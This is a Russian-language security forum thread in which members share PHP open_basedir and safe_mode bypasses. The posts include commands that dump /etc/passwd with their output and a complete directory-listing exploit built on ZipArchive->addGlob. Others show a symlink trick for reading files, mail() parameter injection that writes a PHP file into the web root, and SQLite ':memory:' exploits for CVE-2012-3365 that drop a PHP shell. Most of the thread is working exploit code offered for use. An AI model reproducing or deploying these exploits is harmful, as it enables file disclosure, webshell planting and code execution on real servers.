Старый 03.12.2011, 21:55   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
/usr/bin/procmail /etc/passwd 2>&1
procmail: Skipped "root"
procmail: Skipped "x:0:0:root:/root:/bin/bash"
procmail: Skipped "sys"
procmail: Skipped "x:3:3:sys:/dev:/bin/sh"
procmail: Skipped "man"
procmail: Skipped "x:6:12:man:/var/cache/man:/bin/sh"
procmail: Skipped "news"
procmail: Skipped "x:9:9:news:/var/spool/news:/bin/sh"
procmail: Skipped "www"
procmail: Skipped "-data:x:33:33:www-data:/var/www:/bin/sh"
Цитата:
man /etc/passwd 2>&1
<standard input>:7: warning [p 1, 0.5i]: cannot adjust line
<standard input>:8: warning [p 1, 0.7i]: cannot adjust line
<standard input>:9: warning [p 1, 0.8i]: cannot adjust line
<standard input>:10: warning [p 1, 1.0i]: cannot adjust line
<standard input>:11: warning [p 1, 1.2i]: cannot adjust line
<standard input>:12: warning [p 1, 1.3i]: cannot adjust line
<standard input>:20: warning [p 1, 2.5i]: cannot adjust line
<standard input>:21: warning [p 1, 2.7i]: cannot adjust line
<standard input>:22: warning [p 1, 2.8i]: cannot adjust line
<standard input>:24: warning [p 1, 3.2i]: cannot adjust line
<standard input>:26: warning [p 1, 3.5i]: cannot adjust line
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:dae-
mon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13roxy:/bin:/bin/sh www-data:x:33:33:www-da-
ta:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/bin/sh no-
body:x:65534:65534:nobody:/nonexistent:/bin/sh libu-
uid:x:100:101::/var/lib/libuuid:/bin/sh
pcweb:x:1000:1000cweb,,,:/home/pcweb:/bin/bash
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/var/lib/mysql:/bin/false Debian-
exim:x:103:105::/var/spool/exim4:/bin/false
bind:x:104:107::/var/cache/bind:/bin/false proft-
pd:x:105:65534::/var/run/proftpd:/bin/false
ftp:x:106:65534::/home/ftp:/bin/false ftpuser:x:1001:1001roftpd
user:/bin/null:/bin/false ntp:x:107:108::/home/ntp:/bin/false
vmail:x:5000:5000::/home/vmail:/bin/sh post-
fix:x:108:109::/var/spool/postfix:/bin/false dove-
cot:x:109:111ovecot mail server,,,:/usr/lib/dovecot:/bin/false
amavis:x:110:112:AMaViS system user,,,:/var/lib/amavis:/bin/sh
clamav:x:111:113::/var/lib/clamav:/bin/false medi-
atomb:x:112:115:MediaTomb Server,,,:/var/lib/medi-
atomb:/usr/sbin/nologin
хз или пригодится

Последний раз редактировалось Pashkela; 03.12.2011 в 22:04..
Pashkela вне форума   Ответить с цитированием
Старый 20.12.2011, 16:48   #12
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Листинг директорий в обход open_basedir, основанный на ZipArchive->addGlob.
Не работает на Windows, так как там glob не поддерживает negative character classes [^asd].

Листинг возможен за счет того, что addGlob ищет файлы и пытается добавить их в архив, и на моменте добавления выпадает ошибка с названием первого файла, найденного по маске. А должен сначала проверить директорию и сразу упасть с ошибкой.

PHP код:
<?php
    
# ZipArchive->addGlob open_basedir bypass, Directory Listing, by BlackFan
    # 20.12.11
    
    
if(stripos(PHP_OS,'win') !== FALSE)
        die(
'Windows glob does not support negative character classes');
        
    if(!
class_exists('ZipArchive'))
        die(
'Class ZipArchive not found');
    
    
$starttime microtime(true);
    
$dir "/"
    
$R false;
    
$regexp "/File\((.*)\) is not within/"
    if(isset(
$_GET['dir'])) $dir = ((string)$_GET['dir']);
    if(isset(
$_GET['R']) and $_GET['R'] == 'on'$R true;
    
$dir $dir.((substr($dir,-1) == '/') ? '' '/');

    echo 
"<head><title>open_basedir bypass, Directory Listing, by BlackFan</title></head>"

    echo 
"<form method='GET'>"
    echo 
"Directory (absolute path): <input type='text' name='dir' size='60' value='{$dir}'>";
    echo 
"<input type='checkbox' name='R' ".(($R)?"checked='checked'":"")."> -R ";
    echo 
"<input type='submit' value='ls'></form>"

    echo 
"<HR>"
        
    
$glob_dirs = array();
    
$dirs = array();
    
$files = array();
    
$lastfile '';
    
$tmp_zip_name "openbd.zip";
    
    
$z = new ZipArchive();
    
$z->open($tmp_zip_name,ZIPARCHIVE::CREATE);
    
    
set_error_handler("error_handler"); 

    
$patterns_queue = array('*','.*');
    
$checked_chars = array();
    
$count 0;
    do {
        
$lastfile '';
        
$z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);
        
        if(
$lastfile !== '') {
            
$is_dir = (substr($lastfile,-1) === '/');
            if((
$R or !$is_dir) and substr($lastfile,-3) !== '../') {
                
array_push($patterns_queue,$lastfile.'?');
                if(
$is_dir) {
                    
array_push($patterns_queue,$lastfile.'.*');
                }
            }
        
            
$lenlf strlen($lastfile);
            for(
$i 1$i <= $lenlf$i++) {
                
$plf substr($lastfile,0,$lenlf-$i);
                
$lclf $lastfile[$lenlf-$i];
                if(!isset(
$checked_chars[$plf]) or !in_array($lclf,$checked_chars[$plf]))
                    
$checked_chars[$plf][] = $lclf;
                
$new_pattern $plf.'[^'.implode($checked_chars[$plf]).']'
                if(!
in_array($new_pattern,$patterns_queue))
                    
array_push($patterns_queue,$new_pattern);
            }
        }
        
$count++;
    } while(
count($patterns_queue) !== 0);
    
    unset(
$glob_dirs);
    
sort($dirs);
    
sort($files);

    echo 
"<pre>"
    if(
count($dirs) !== or count($files) !== 0) {
        foreach(
$dirs as $item) {
            
$fp $dir.$item;    
            if(
substr($item,-3) == '../') {
                
$tmp substr(($fp),0,strpos($fp,'/../'));
                
$tmp substr($tmp,0,strrpos($tmp,'/'));
                echo 
"<a href='?dir={$tmp}'>{$item}</a><br>";
            } else {
                echo 
"<a href='?dir={$fp}'>{$item}</a><br>";
            }
        }
        foreach(
$files as $item) {
            echo 
$item."<br>";
        }
    } else {
        echo 
"Access denied or open_basedir = Off, <a href='javascript:history.back()'>back</a>";
    } 
    echo 
"\n\n$count glob iteration";
      echo 
"\n".(count($dirs)+count($files))." files";

    
$z->close();
    if(
file_exists($tmp_zip_name))
        
unlink($tmp_zip_name);

    echo 
"\nTime: ".(microtime(true) - $starttime)." seconds";
    echo 
"</pre>"

    function 
error_handler($errno$errstr$errfile$errline){ 
        global 
$glob_dirs$regexp$lastfile$dir$dirs$files
        
preg_match($regexp,$errstr,$o); 
        if(isset(
$o[1])){
            
$lastfile substr($o[1],strpos($o[1],$dir)+strlen($dir));
            if(!
in_array($lastfile,$glob_dirs)) {
                
$glob_dirs[] = $lastfile;
                if(
substr($lastfile,-1) == '/')
                    
$dirs[] = $lastfile;    
                else
                    
$files[] = $lastfile;
            } else {
                
$lastfile '';
            }
        }
    } 
?>
Вложения
Тип файла: zip ZipArchive-addGlob.zip (1.5 Кб, 1000 просмотров)
BlackFan вне форума   Ответить с цитированием
Старый 13.01.2012, 15:33   #13
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Листинг директории через DirectoryIterator. Принцип такой же как у сплойта BlackFan'а через ZipArchive, но DirectoryIterator присутствует в стандартной сборке PHP, так что работает куда чаще (поправьте, если ошибаюсь).

Читать здесь: http://ahack.ru/bugs/php-vulnerabilities-exploits.htm

Эксплойт здесь: http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
Beched вне форума   Ответить с цитированием
Старый 14.01.2012, 13:01   #14
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Забавно, я почему-то решил, что с Directoryiterator нужен перебор и сделал тормозной сплойт.
Но на деле листинг выводится сразу целиком.
Поправил: http://ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
Beched вне форума   Ответить с цитированием
Старый 29.02.2012, 20:15   #15
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Ещё одна функция для листинга дир брутфорсом в коллекцию (http://ahack.ru/bugs/php-vulnerabilities-exploits.htm):

PHP код:
$finfo finfo_open(FILEINFO_MIME);
$filename "/var/www";
var_dump(finfo_file($finfo$filename)); 
Beched вне форума   Ответить с цитированием
Старый 30.03.2012, 18:28   #16
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Обход open_basedir для 5.3/5.4 (нужна директива апача FollowSymlinks):
Цитата:
PoC:
127# cat sym.php
<?php
symlink("/etc/passwd", "./symlink");
?>
127# php sym.php
PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in /www/test/sym.php on line 2
Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in /www/test/sym.php on line 2

open_basedir will disallow /etc/passwd.

Let`s see:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
127# cat kakao.php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>

127# php kakao.php
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
127# cat exploit
# passwd
#
root:*:0:0:god:/root:/bin/csh
..

now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't need bypass open_basedir, it is a design mistake. PHP will allow "tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.
Готовый скрипт: http://cxsecurity.com/issue/WLB-2012030270

Последний раз редактировалось SynQ; 30.03.2012 в 19:11..
SynQ вне форума   Ответить с цитированием
Старый 10.08.2012, 20:02   #17
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
mb_send_mail() "safe_mode" и "open_basedir"
PHP 5.1.2 PHP 4.x 28.02.2006
http://www.mail-archive.com/bugtraq@securityfocus.com/msg14320.html
http://secunia.com/advisories/18694/
http://www.securitytracker.com/alerts/2006/Feb/1015696.html
PHP код:
<?php
if (isset($_REQUEST['file'])) {
$file = "sendlog";
if (file_exists($file)) unlink($file);
$extra = "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
mb_send_mail(NULL, NULL, NULL, NULL, $extra);
echo "<pre>".file_get_contents($file)."</pre>";
}
?>
Функция mb_send_mail и добавочный параметр. В нем передаётся конфиг файл (опция -С) и лог в который функция сбрасывает ошибки (опция -Х).
Получаем чтение файла. Если внимательно смотреть на приведённые линки, то кое где говорится об обходе и "safe_mode" и "open_basedir", а кое-где только "open_basedir".
На php.net я эту багу не нашёл, и реакцию разрабов тоже, так что не понятно когда и как она профикшена.

а тут оказывается вещи и поинтереснее есть (все протестировано на PHP Version 5.3.5-1ubuntu7.10)

http://esec-pentest.sogeti.com/web/using-mail-remote-code-execution

файло читает, а вот так:

Цитата:
$ PHPFROM="<?php CLI; ?>"
$ SUBJECT="<?php SUBJECT; ?>"
$ MESSAGE="<?php phpinfo(); ?>"
$ HEADERS="<?php HEADER; ?>"
$ PARAMS="-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/555.php"
$ php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"
действительно создается файл /var/www/555.php

Цитата:
23457 <<< To: a@b.c
23457 <<< Subject: <?php SUBJECT; ?>
23457 <<< X-PHP-Originating-Script: 1000:Command line code
23457 <<< <?php phpinfo(); ?>
23457 <<<
23457 <<< <?php phpinfo(); ?>
23457 <<< [EOF]
23457 === CONNECT [127.0.0.1]
23457 <<< 220 an ESMTP Sendmail 8.14.4/8.14.4/Debian-2ubuntu1; Fri, 10 Aug 2012 20:01:09 +0400; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
23457 >>> EHLO an
23457 <<< 250-an Hello localhost [127.0.0.1], pleased to meet you
23457 <<< 250-ENHANCEDSTATUSCODES
23457 <<< 250-PIPELINING
23457 <<< 250-EXPN
23457 <<< 250-VERB
23457 <<< 250-8BITMIME
23457 <<< 250-SIZE
23457 <<< 250-DSN
23457 <<< 250-ETRN
23457 <<< 250-AUTH DIGEST-MD5 CRAM-MD5
23457 <<< 250-DELIVERBY
23457 <<< 250 HELP
23457 >>> MAIL From:<\<\?php.CLI\;.\?\>@an> SIZE=127
23457 <<< 250 2.1.0 <\<\?php.CLI\;.\?\>@an>... Sender ok
23457 >>> RCPT To:<a@b.c>
23457 >>> DATA
23457 <<< 250 2.1.5 <a@b.c>... Recipient ok
23457 <<< 354 Enter mail, end with "." on a line by itself
23457 >>> Received: (from an@localhost)
23457 >>> by an (8.14.4/8.14.4/Submit) id q7AG19UV023457;
23457 >>> Fri, 10 Aug 2012 20:01:09 +0400
23457 >>> Date: Fri, 10 Aug 2012 20:01:09 +0400
23457 >>> From: \<\?php.CLI\;.\?\>@an
23457 >>> Message-Id: <201208101601.q7AG19UV023457@an>
23457 >>> X-Authentication-Warning: an: an set sender to \<\?php CLI\; \?\> using -f
23457 >>> X-Authentication-Warning: an: Processed from queue /tmp
23457 >>> To: a@b.c
23457 >>> Subject: <?php SUBJECT; ?>
23457 >>> X-PHP-Originating-Script: 1000:Command line code
23457 >>>
23457 >>> <?php phpinfo(); ?>
23457 >>>
23457 >>> <?php phpinfo(); ?>
23457 >>> .
23457 <<< 250 2.0.0 q7AG19WU023505 Message accepted for delivery
23457 >>> QUIT
23457 <<< 221 2.0.0 an closing connection
и работает phpinfo

PS: чтобы сработало, надо подождать около минуты

Последний раз редактировалось Pashkela; 10.08.2012 в 22:26..
Pashkela вне форума   Ответить с цитированием
Старый 10.08.2012, 22:29   #18
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

правда нарвался на эту багу по другим причинам - если будет такое выполнено от рута, то будет privilege escalation - тот же /etc/ld.so.preload, надо проверять на старых sendmail, которые suid-бит, сбрасывают ли они привелигии перед записью в лог (как вариант)

PS: просто вроде как-то встречал suid-битные sendmail, да и современные sgid-ные
Pashkela вне форума   Ответить с цитированием
Старый 29.08.2012, 11:45   #19
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Спущено...

Рассмотрим, из-за чего срабатывает сплоит бечеда для листинга директории (https://rdot.org/forum/showpost.php?p=23095&postcount=6)

Если путь к директории начинается c 'glob://', то мы попадаем в функцию php_glob_stream_opener, где происходит такая проверка:
Код:
	if (((options & STREAM_DISABLE_OPEN_BASEDIR) == 0) && php_check_open_basedir(path TSRMLS_CC)) {
		return NULL;
	}

	if (!strncmp(path, "glob://", sizeof("glob://")-1)) {
		path += sizeof("glob://")-1;
		if (opened_path) {
			*opened_path = estrdup(path);
		}
	}
Фишка в том, что путь попадает в проверку open_basedir вместе с враппером и соответственно произойдет средущее:
0) Проверка open_basedir (glob://../*)
1) Путь не абсолютный, дописываем текущую директорию (/var/www/globl://../*)
2) Нормализуем (/var/www/*)
3) Файл /var/www/* находится в пределах open_basedir, пропускаем.
4) Убираем glob:// из пути, запускаем glob(../*)

Соответственно DirectoryIterator('glob://../*') работает, а DirectoryIterator('glob://../../*') уже нет. Аналогично с абсолютными путями.

+ еще работает GlobIterator аналогично, враппер glob:// указывать не обязательно, он сам допишется.

Пробуем найти нечто похожее...

И вот она, рыба моей мечты!
Создание произвольного файла в обход open_basedir за счет неправильной обработки создания базы sqlite в памяти. ( :memory: )

Логика проверки:
1) Если первые 8 символов пути ':memory:', то это база в памяти, не надо делать проверку на open_basedir
2) Много-много кода
2) Если путь === ':memory:', это база в памяти, иначе открываем файл.

Условия:
1) Наличие sqlite/sqlite3
2) Если не windows - возможность создать директорию в текущей папке
3) Файл создается в формате sqlite database, значит из-за нуллбайтов запустится только на php >= 5.3.0 (это в случае создания php-shell'а)

PHP код:
<?php
    $filename 
'/home/test/www/ololo4.php';
    
$text '<?php phpinfo(); ?>';

    if(
do_magic($filename,$text)) {
        echo 
"Check this: ".$filename.PHP_EOL;
    } else {
        echo 
"Something wrong".PHP_EOL;
    }

    function 
do_magic($filename$text) {
        
$lose = (strtoupper(substr(PHP_OS03)) !== 'WIN');
        if(
$lose and !file_exists(":memory:"))
            
mkdir(":memory:");

        
$memory_db ":memory:/../../../../../../../../../../../../../../..";
        
$create_table "CREATE TABLE foo (id STRING, bar STRING)";
        
$select_text "SELECT count(*) FROM foo";
        
$insert_text "INSERT INTO foo (id, bar) VALUES ('xek','%s')";
        
$update_text "UPDATE foo SET bar = '%s' WHERE id = 'xek'";
        
        if(
class_exists('SQLite3')) {
            
$xek = new SQLite3($memory_db.$filename);
            if(!
$xek)
                return 
false;
            @
$xek->exec($create_table);
            
$r $xek->querySingle($select_text);
            
$text $xek->escapeString($text);
            if(
$r != 0) {
                
$return $xek->exec(sprintf($update_text,$text));
            } else {
                
$return $xek->exec(sprintf($insert_text,$text));
            }
        } elseif(
function_exists('sqlite_open')) {
            
$xek sqlite_open($memory_db.$filename);
            if(!
$xek)
                return 
false;
            @
sqlite_exec($xek$create_table);
            
$r sqlite_single_query($xek$select_text);
            
$text sqlite_escape_string($text);
            if(
$r != 0) {
                
$return sqlite_exec($xeksprintf($update_text,$text));
            } else {
                
$return sqlite_exec($xeksprintf($insert_text,$text));
            }
        } else {
            echo 
"I need your glasses, clothes and SQLite.".PHP_EOL;
            
$return false;
        }
        
        if(
$lose and file_exists(":memory:"))
            
rmdir(":memory:");
            
        return 
$return;
    }
?>
BlackFan вне форума   Ответить с цитированием
Старый 29.08.2012, 11:49   #20
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Короткое содержание предыдущего поста

CVE-2012-3365
Создание произвольных файлов в формате SQLite-базы за пределами open_basedir.
Уязвимые версии PHP
5.4 <= 5.4.5
5.3 <= 5.3.15

Мини PoC:
PHP код:
<?php
    mkdir
(':memory:');
    
$database = new SQLite3(":memory:/../../shell.php");
    
$database->exec("CREATE TABLE foo (bar STRING)");
    
$database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
    
$database->close();
    
rmdir(':memory:');
?>
PS: через данную тему был поломан квест бечеда)

Последний раз редактировалось BlackFan; 29.08.2012 в 12:00..
BlackFan вне форума   Ответить с цитированием
Ответ

Метки
продолжение следует...

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot